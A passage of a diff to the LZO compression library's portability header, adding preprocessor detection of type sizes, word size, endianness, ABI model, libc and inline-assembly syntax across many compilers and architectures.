+# if ((__LONG_MAX__-0) == (__LONG_LONG_MAX__-0))
+# define LZO_SIZEOF_LONG_LONG LZO_SIZEOF_LONG
+# elif (__LZO_LSR(__LONG_LONG_MAX__,30) == 1)
+# define LZO_SIZEOF_LONG_LONG 4
+# endif
+# endif
+# endif
+#endif
+#endif
+#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64)
+#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8)
+#if (LZO_ARCH_I086 && LZO_CC_DMC)
+#elif (LZO_CC_CILLY) && defined(__GNUC__)
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define LZO_SIZEOF_LONG_LONG 8
+#elif ((LZO_OS_WIN32 || LZO_OS_WIN64 || defined(_WIN32)) && LZO_CC_MSC && (_MSC_VER >= 1400))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_OS_WIN64 || defined(_WIN64))
+# define LZO_SIZEOF___INT64 8
+#elif (LZO_ARCH_I386 && (LZO_CC_DMC))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_ARCH_I386 && (LZO_CC_SYMANTECC && (__SC__ >= 0x700)))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_ARCH_I386 && (LZO_CC_INTELC && defined(__linux__)))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_ARCH_I386 && (LZO_CC_MWERKS || LZO_CC_PELLESC || LZO_CC_PGI || LZO_CC_SUNPROC))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_ARCH_I386 && (LZO_CC_INTELC || LZO_CC_MSC))
+# define LZO_SIZEOF___INT64 8
+#elif ((LZO_OS_WIN32 || defined(_WIN32)) && (LZO_CC_MSC))
+# define LZO_SIZEOF___INT64 8
+#elif (LZO_ARCH_I386 && (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0520)))
+# define LZO_SIZEOF___INT64 8
+#elif (LZO_ARCH_I386 && (LZO_CC_WATCOMC && (__WATCOMC__ >= 1100)))
+# define LZO_SIZEOF___INT64 8
+#elif (LZO_CC_GHS && defined(__LLONG_BIT) && ((__LLONG_BIT-0) == 64))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_CC_WATCOMC && defined(_INTEGRAL_MAX_BITS) && ((_INTEGRAL_MAX_BITS-0) == 64))
+# define LZO_SIZEOF___INT64 8
+#elif (LZO_OS_OS400 || defined(__OS400__)) && defined(__LLP64_IFC__)
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (defined(__vms) || defined(__VMS)) && ((__INITIAL_POINTER_SIZE-0) == 64)
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_CC_SDCC) && (LZO_SIZEOF_INT == 2)
+#elif 1 && defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
+# define LZO_SIZEOF_LONG_LONG 8
+#endif
+#endif
+#endif
+#if defined(__cplusplus) && (LZO_CC_GNUC)
+# if (LZO_CC_GNUC < 0x020800ul)
+# undef LZO_SIZEOF_LONG_LONG
+# endif
+#endif
+#if (LZO_CFG_NO_LONG_LONG)
+# undef LZO_SIZEOF_LONG_LONG
+#elif defined(__NO_LONG_LONG)
+# undef LZO_SIZEOF_LONG_LONG
+#elif defined(_NO_LONGLONG)
+# undef LZO_SIZEOF_LONG_LONG
+#endif
+#if !defined(LZO_WORDSIZE)
#if (LZO_ARCH_ALPHA)
-# define LZO_OPT_AVOID_UINT_INDEX 1
-# define LZO_OPT_AVOID_SHORT 1
-# define LZO_OPT_AVOID_USHORT 1
+# define LZO_WORDSIZE 8
#elif (LZO_ARCH_AMD64)
-# define LZO_OPT_AVOID_INT_INDEX 1
-# define LZO_OPT_AVOID_UINT_INDEX 1
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
-# define LZO_OPT_UNALIGNED64 1
-#elif (LZO_ARCH_ARM && LZO_ARCH_ARM_THUMB)
-#elif (LZO_ARCH_ARM)
-# define LZO_OPT_AVOID_SHORT 1
-# define LZO_OPT_AVOID_USHORT 1
-#elif (LZO_ARCH_CRIS)
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
-#elif (LZO_ARCH_I386)
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
+# define LZO_WORDSIZE 8
+#elif (LZO_ARCH_AVR)
+# define LZO_WORDSIZE 1
+#elif (LZO_ARCH_H8300)
+# if defined(__NORMAL_MODE__)
+# define LZO_WORDSIZE 4
+# elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__)
+# define LZO_WORDSIZE 4
+# else
+# define LZO_WORDSIZE 2
+# endif
+#elif (LZO_ARCH_I086)
+# define LZO_WORDSIZE 2
#elif (LZO_ARCH_IA64)
-# define LZO_OPT_AVOID_INT_INDEX 1
-# define LZO_OPT_AVOID_UINT_INDEX 1
-# define LZO_OPT_PREFER_POSTINC 1
+# define LZO_WORDSIZE 8
+#elif (LZO_ARCH_M16C)
+# define LZO_WORDSIZE 2
+#elif (LZO_ARCH_SPU)
+# define LZO_WORDSIZE 4
+#elif (LZO_ARCH_Z80)
+# define LZO_WORDSIZE 1
+#elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__))
+# define LZO_WORDSIZE 8
+#elif (LZO_OS_OS400 || defined(__OS400__))
+# define LZO_WORDSIZE 8
+#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64)
+# define LZO_WORDSIZE 8
+#endif
+#endif
+#if !defined(LZO_SIZEOF_VOID_P)
+#if defined(__ILP32__) || defined(__ILP32) || defined(_ILP32)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 4)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4)
+# define LZO_SIZEOF_VOID_P 4
+#elif defined(__ILP64__) || defined(__ILP64) || defined(_ILP64)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 8)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8)
+# define LZO_SIZEOF_VOID_P 8
+#elif defined(__LLP64__) || defined(__LLP64) || defined(_LLP64) || defined(_WIN64)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4)
+# define LZO_SIZEOF_VOID_P 8
+#elif defined(__LP64__) || defined(__LP64) || defined(_LP64)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8)
+# define LZO_SIZEOF_VOID_P 8
+#elif (LZO_ARCH_AVR)
+# define LZO_SIZEOF_VOID_P 2
+#elif (LZO_ARCH_C166 || LZO_ARCH_MCS51 || LZO_ARCH_MCS251 || LZO_ARCH_MSP430)
+# define LZO_SIZEOF_VOID_P 2
+#elif (LZO_ARCH_H8300)
+# if defined(__NORMAL_MODE__)
+# define LZO_SIZEOF_VOID_P 2
+# elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__)
+# define LZO_SIZEOF_VOID_P 4
+# else
+# define LZO_SIZEOF_VOID_P 2
+# endif
+# if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_SIZEOF_INT == 4)
+# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_INT
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_INT
+# endif
+#elif (LZO_ARCH_I086)
+# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM)
+# define LZO_SIZEOF_VOID_P 2
+# elif (LZO_MM_COMPACT || LZO_MM_LARGE || LZO_MM_HUGE)
+# define LZO_SIZEOF_VOID_P 4
+# else
+# error "invalid LZO_ARCH_I086 memory model"
+# endif
+#elif (LZO_ARCH_M16C)
+# if defined(__m32c_cpu__) || defined(__m32cm_cpu__)
+# define LZO_SIZEOF_VOID_P 4
+# else
+# define LZO_SIZEOF_VOID_P 2
+# endif
+#elif (LZO_ARCH_SPU)
+# define LZO_SIZEOF_VOID_P 4
+#elif (LZO_ARCH_Z80)
+# define LZO_SIZEOF_VOID_P 2
+#elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__))
+# define LZO_SIZEOF_VOID_P 4
+#elif (LZO_OS_OS400 || defined(__OS400__))
+# if defined(__LLP64_IFC__)
+# define LZO_SIZEOF_VOID_P 8
+# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
+# else
+# define LZO_SIZEOF_VOID_P 16
+# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
+# endif
+#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64)
+# define LZO_SIZEOF_VOID_P 8
+# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
+#endif
+#endif
+#if !defined(LZO_SIZEOF_VOID_P)
+# define LZO_SIZEOF_VOID_P LZO_SIZEOF_LONG
+#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_VOID_P == sizeof(void *))
+#if !defined(LZO_SIZEOF_SIZE_T)
+#if (LZO_ARCH_I086 || LZO_ARCH_M16C)
+# define LZO_SIZEOF_SIZE_T 2
+#endif
+#endif
+#if !defined(LZO_SIZEOF_SIZE_T)
+# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_VOID_P
+#endif
+#if defined(offsetof)
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SIZE_T == sizeof(size_t))
+#endif
+#if !defined(LZO_SIZEOF_PTRDIFF_T)
+#if (LZO_ARCH_I086)
+# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM || LZO_MM_HUGE)
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_VOID_P
+# elif (LZO_MM_COMPACT || LZO_MM_LARGE)
+# if (LZO_CC_BORLANDC || LZO_CC_TURBOC)
+# define LZO_SIZEOF_PTRDIFF_T 4
+# else
+# define LZO_SIZEOF_PTRDIFF_T 2
+# endif
+# else
+# error "invalid LZO_ARCH_I086 memory model"
+# endif
+#endif
+#endif
+#if !defined(LZO_SIZEOF_PTRDIFF_T)
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_SIZE_T
+#endif
+#if defined(offsetof)
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_PTRDIFF_T == sizeof(ptrdiff_t))
+#endif
+#if !defined(LZO_WORDSIZE)
+# define LZO_WORDSIZE LZO_SIZEOF_VOID_P
+#endif
+#if (LZO_ABI_NEUTRAL_ENDIAN)
+# undef LZO_ABI_BIG_ENDIAN
+# undef LZO_ABI_LITTLE_ENDIAN
+#elif !(LZO_ABI_BIG_ENDIAN) && !(LZO_ABI_LITTLE_ENDIAN)
+#if (LZO_ARCH_ALPHA) && (LZO_ARCH_CRAY_MPP)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif (LZO_ARCH_IA64) && (LZO_OS_POSIX_LINUX || LZO_OS_WIN64)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif (LZO_ARCH_ALPHA || LZO_ARCH_AMD64 || LZO_ARCH_BLACKFIN || LZO_ARCH_CRIS || LZO_ARCH_I086 || LZO_ARCH_I386 || LZO_ARCH_MSP430)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif (LZO_ARCH_AVR32 || LZO_ARCH_M68K || LZO_ARCH_S390 || LZO_ARCH_SPU)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif 1 && defined(__IAR_SYSTEMS_ICC__) && defined(__LITTLE_ENDIAN__)
+# if (__LITTLE_ENDIAN__ == 1)
+# define LZO_ABI_LITTLE_ENDIAN 1
+# else
+# define LZO_ABI_BIG_ENDIAN 1
+# endif
+#elif 1 && defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif 1 && defined(__LITTLE_ENDIAN__) && !defined(__BIG_ENDIAN__)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEB__) && !defined(__ARMEL__)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEL__) && !defined(__ARMEB__)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif 1 && (LZO_ARCH_ARM && LZO_CC_ARMCC_ARMCC)
+# if defined(__BIG_ENDIAN) && defined(__LITTLE_ENDIAN)
+# error "unexpected configuration - check your compiler defines"
+# elif defined(__BIG_ENDIAN)
+# define LZO_ABI_BIG_ENDIAN 1
+# else
+# define LZO_ABI_LITTLE_ENDIAN 1
+# endif
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EB__) && !defined(__AARCH64EL__)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EL__) && !defined(__AARCH64EB__)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEB__) && !defined(__MIPSEL__)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEL__) && !defined(__MIPSEB__)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#endif
+#endif
+#if (LZO_ABI_BIG_ENDIAN) && (LZO_ABI_LITTLE_ENDIAN)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ABI_BIG_ENDIAN)
+# define LZO_INFO_ABI_ENDIAN "be"
+#elif (LZO_ABI_LITTLE_ENDIAN)
+# define LZO_INFO_ABI_ENDIAN "le"
+#elif (LZO_ABI_NEUTRAL_ENDIAN)
+# define LZO_INFO_ABI_ENDIAN "neutral"
+#endif
+#if (LZO_SIZEOF_INT == 1 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2)
+# define LZO_ABI_I8LP16 1
+# define LZO_INFO_ABI_PM "i8lp16"
+#elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2)
+# define LZO_ABI_ILP16 1
+# define LZO_INFO_ABI_PM "ilp16"
+#elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4)
+# define LZO_ABI_LP32 1
+# define LZO_INFO_ABI_PM "lp32"
+#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4)
+# define LZO_ABI_ILP32 1
+# define LZO_INFO_ABI_PM "ilp32"
+#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 8 && LZO_SIZEOF_SIZE_T == 8)
+# define LZO_ABI_LLP64 1
+# define LZO_INFO_ABI_PM "llp64"
+#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8)
+# define LZO_ABI_LP64 1
+# define LZO_INFO_ABI_PM "lp64"
+#elif (LZO_SIZEOF_INT == 8 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8)
+# define LZO_ABI_ILP64 1
+# define LZO_INFO_ABI_PM "ilp64"
+#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 4)
+# define LZO_ABI_IP32L64 1
+# define LZO_INFO_ABI_PM "ip32l64"
+#endif
+#if 0
+#elif !defined(__LZO_LIBC_OVERRIDE)
+#if (LZO_LIBC_NAKED)
+# define LZO_INFO_LIBC "naked"
+#elif (LZO_LIBC_FREESTANDING)
+# define LZO_INFO_LIBC "freestanding"
+#elif (LZO_LIBC_MOSTLY_FREESTANDING)
+# define LZO_INFO_LIBC "mfreestanding"
+#elif (LZO_LIBC_ISOC90)
+# define LZO_INFO_LIBC "isoc90"
+#elif (LZO_LIBC_ISOC99)
+# define LZO_INFO_LIBC "isoc99"
+#elif (LZO_CC_ARMCC_ARMCC) && defined(__ARMCLIB_VERSION)
+# define LZO_LIBC_ISOC90 1
+# define LZO_INFO_LIBC "isoc90"
+#elif defined(__dietlibc__)
+# define LZO_LIBC_DIETLIBC 1
+# define LZO_INFO_LIBC "dietlibc"
+#elif defined(_NEWLIB_VERSION)
+# define LZO_LIBC_NEWLIB 1
+# define LZO_INFO_LIBC "newlib"
+#elif defined(__UCLIBC__) && defined(__UCLIBC_MAJOR__) && defined(__UCLIBC_MINOR__)
+# if defined(__UCLIBC_SUBLEVEL__)
+# define LZO_LIBC_UCLIBC (__UCLIBC_MAJOR__ * 0x10000L + (__UCLIBC_MINOR__-0) * 0x100 + (__UCLIBC_SUBLEVEL__-0))
+# else
+# define LZO_LIBC_UCLIBC 0x00090bL
+# endif
+# define LZO_INFO_LIBC "uc" "libc"
+#elif defined(__GLIBC__) && defined(__GLIBC_MINOR__)
+# define LZO_LIBC_GLIBC (__GLIBC__ * 0x10000L + (__GLIBC_MINOR__-0) * 0x100)
+# define LZO_INFO_LIBC "glibc"
+#elif (LZO_CC_MWERKS) && defined(__MSL__)
+# define LZO_LIBC_MSL __MSL__
+# define LZO_INFO_LIBC "msl"
+#elif 1 && defined(__IAR_SYSTEMS_ICC__)
+# define LZO_LIBC_ISOC90 1
+# define LZO_INFO_LIBC "isoc90"
+#else
+# define LZO_LIBC_DEFAULT 1
+# define LZO_INFO_LIBC "default"
+#endif
+#endif
+#if (LZO_ARCH_I386 && (LZO_OS_DOS32 || LZO_OS_WIN32) && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC))
+# define LZO_ASM_SYNTAX_MSC 1
+#elif (LZO_OS_WIN64 && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC))
+#elif (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC == 0x011f00ul))
+#elif (LZO_ARCH_I386 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE))
+# define LZO_ASM_SYNTAX_GNUC 1
+#elif (LZO_ARCH_AMD64 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE))
+# define LZO_ASM_SYNTAX_GNUC 1
+#elif (LZO_CC_GNUC)
+# define LZO_ASM_SYNTAX_GNUC 1
+#endif
+#if (LZO_ASM_SYNTAX_GNUC)
+#if (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC < 0x020000ul))
+# define __LZO_ASM_CLOBBER "ax"
+# define __LZO_ASM_CLOBBER_LIST_CC /*empty*/
+# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY /*empty*/
+# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/
+#elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1000))
+# define __LZO_ASM_CLOBBER "memory"
+# define __LZO_ASM_CLOBBER_LIST_CC /*empty*/
+# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "memory"
+# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/
+#else
+# define __LZO_ASM_CLOBBER "cc", "memory"
+# define __LZO_ASM_CLOBBER_LIST_CC : "cc"
+# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "cc", "memory"
+# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/
+#endif
+#endif
+#if (LZO_ARCH_ALPHA)
+# define LZO_OPT_AVOID_UINT_INDEX 1
+#elif (LZO_ARCH_AMD64)
+# define LZO_OPT_AVOID_INT_INDEX 1
+# define LZO_OPT_AVOID_UINT_INDEX 1
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# ifndef LZO_OPT_UNALIGNED64
+# define LZO_OPT_UNALIGNED64 1
+# endif
+#elif (LZO_ARCH_ARM)
+# if defined(__ARM_FEATURE_UNALIGNED)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 7)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 6) && !defined(__TARGET_PROFILE_M)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# endif
+#elif (LZO_ARCH_ARM64)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# ifndef LZO_OPT_UNALIGNED64
+# define LZO_OPT_UNALIGNED64 1
+# endif
+#elif (LZO_ARCH_CRIS)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+#elif (LZO_ARCH_I386)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+#elif (LZO_ARCH_IA64)
+# define LZO_OPT_AVOID_INT_INDEX 1
+# define LZO_OPT_AVOID_UINT_INDEX 1
+# define LZO_OPT_PREFER_POSTINC 1
#elif (LZO_ARCH_M68K)
-# define LZO_OPT_PREFER_POSTINC 1
-# define LZO_OPT_PREFER_PREDEC 1
+# define LZO_OPT_PREFER_POSTINC 1
+# define LZO_OPT_PREFER_PREDEC 1
# if defined(__mc68020__) && !defined(__mcoldfire__)
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
# endif
#elif (LZO_ARCH_MIPS)
-# define LZO_OPT_AVOID_UINT_INDEX 1
+# define LZO_OPT_AVOID_UINT_INDEX 1
#elif (LZO_ARCH_POWERPC)
-# define LZO_OPT_PREFER_PREINC 1
-# define LZO_OPT_PREFER_PREDEC 1
+# define LZO_OPT_PREFER_PREINC 1
+# define LZO_OPT_PREFER_PREDEC 1
# if (LZO_ABI_BIG_ENDIAN)
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# if (LZO_WORDSIZE == 8)
+# ifndef LZO_OPT_UNALIGNED64
+# define LZO_OPT_UNALIGNED64 1
+# endif
+# endif
# endif
#elif (LZO_ARCH_S390)
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
-# if (LZO_SIZEOF_SIZE_T == 8)
-# define LZO_OPT_UNALIGNED64 1
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# if (LZO_WORDSIZE == 8)
+# ifndef LZO_OPT_UNALIGNED64
+# define LZO_OPT_UNALIGNED64 1
+# endif
# endif
#elif (LZO_ARCH_SH)
-# define LZO_OPT_PREFER_POSTINC 1
-# define LZO_OPT_PREFER_PREDEC 1
+# define LZO_OPT_PREFER_POSTINC 1
+# define LZO_OPT_PREFER_PREDEC 1
#endif
#ifndef LZO_CFG_NO_INLINE_ASM
-#if (LZO_CC_LLVM)
+#if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC)
+# define LZO_CFG_NO_INLINE_ASM 1
+#elif (LZO_CC_LLVM)
# define LZO_CFG_NO_INLINE_ASM 1
#endif
#endif
+#if (LZO_CFG_NO_INLINE_ASM)
+# undef LZO_ASM_SYNTAX_MSC
+# undef LZO_ASM_SYNTAX_GNUC
+# undef __LZO_ASM_CLOBBER
+# undef __LZO_ASM_CLOBBER_LIST_CC
+# undef __LZO_ASM_CLOBBER_LIST_CC_MEMORY
+# undef __LZO_ASM_CLOBBER_LIST_EMPTY
+#endif
#ifndef LZO_CFG_NO_UNALIGNED
#if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC)
# define LZO_CFG_NO_UNALIGNED 1
@@ -1803,25 +2594,6 @@
# undef LZO_OPT_UNALIGNED32
# undef LZO_OPT_UNALIGNED64
#endif
-#if (LZO_CFG_NO_INLINE_ASM)
-#elif (LZO_ARCH_I386 && (LZO_OS_DOS32 || LZO_OS_WIN32) && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC))
-# define LZO_ASM_SYNTAX_MSC 1
-#elif (LZO_OS_WIN64 && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC))
-#elif (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC == 0x011f00ul))
-#elif (LZO_ARCH_I386 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE))
-# define LZO_ASM_SYNTAX_GNUC 1
-#elif (LZO_ARCH_AMD64 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE))
-# define LZO_ASM_SYNTAX_GNUC 1
-#endif
-#if (LZO_ASM_SYNTAX_GNUC)
-#if (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC < 0x020000ul))
-# define __LZO_ASM_CLOBBER "ax"
-#elif (LZO_CC_INTELC)
-# define __LZO_ASM_CLOBBER "memory"
-#else
-# define __LZO_ASM_CLOBBER "cc", "memory"
-#endif
-#endif
#if defined(__LZO_INFOSTR_MM)
#elif (LZO_MM_FLAT) && (defined(__LZO_INFOSTR_PM) || defined(LZO_INFO_ABI_PM))
# define __LZO_INFOSTR_MM ""
@@ -1865,6 +2637,381 @@
#define LZO_INFO_STRING \
LZO_INFO_ARCH __LZO_INFOSTR_MM __LZO_INFOSTR_PM __LZO_INFOSTR_ENDIAN \
" " __LZO_INFOSTR_OSNAME __LZO_INFOSTR_LIBC " " LZO_INFO_CC __LZO_INFOSTR_CCVER
+#if !(LZO_CFG_SKIP_LZO_TYPES)
+#if (!(LZO_SIZEOF_SHORT+0 > 0 && LZO_SIZEOF_INT+0 > 0 && LZO_SIZEOF_LONG+0 > 0))
+# error "missing defines for sizes"
+#endif
+#if (!(LZO_SIZEOF_PTRDIFF_T+0 > 0 && LZO_SIZEOF_SIZE_T+0 > 0 && LZO_SIZEOF_VOID_P+0 > 0))
+# error "missing defines for sizes"
+#endif
+#if !defined(lzo_llong_t)
+#if (LZO_SIZEOF_LONG_LONG+0 > 0)
+__lzo_gnuc_extension__ typedef long long lzo_llong_t__;
+__lzo_gnuc_extension__ typedef unsigned long long lzo_ullong_t__;
+# define lzo_llong_t lzo_llong_t__
+# define lzo_ullong_t lzo_ullong_t__
+#endif
+#endif
+#if !defined(lzo_int16e_t)
+#if (LZO_SIZEOF_LONG == 2)
+# define lzo_int16e_t long
+# define lzo_uint16e_t unsigned long
+#elif (LZO_SIZEOF_INT == 2)
+# define lzo_int16e_t int
+# define lzo_uint16e_t unsigned int
+#elif (LZO_SIZEOF_SHORT == 2)
+# define lzo_int16e_t short int
+# define lzo_uint16e_t unsigned short int
+#elif 1 && !(LZO_CFG_TYPE_NO_MODE_HI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM)
+ typedef int lzo_int16e_hi_t__ __attribute__((__mode__(__HI__)));
+ typedef unsigned int lzo_uint16e_hi_t__ __attribute__((__mode__(__HI__)));
+# define lzo_int16e_t lzo_int16e_hi_t__
+# define lzo_uint16e_t lzo_uint16e_hi_t__
+#elif (LZO_SIZEOF___INT16 == 2)
+# define lzo_int16e_t __int16
+# define lzo_uint16e_t unsigned __int16
+#else
+#endif
+#endif
+#if defined(lzo_int16e_t)
+# define LZO_SIZEOF_LZO_INT16E_T 2
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == 2)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == LZO_SIZEOF_LZO_INT16E_T)
+#endif
+#if !defined(lzo_int32e_t)
+#if (LZO_SIZEOF_LONG == 4)
+# define lzo_int32e_t long int
+# define lzo_uint32e_t unsigned long int
+#elif (LZO_SIZEOF_INT == 4)
+# define lzo_int32e_t int
+# define lzo_uint32e_t unsigned int
+#elif (LZO_SIZEOF_SHORT == 4)
+# define lzo_int32e_t short int
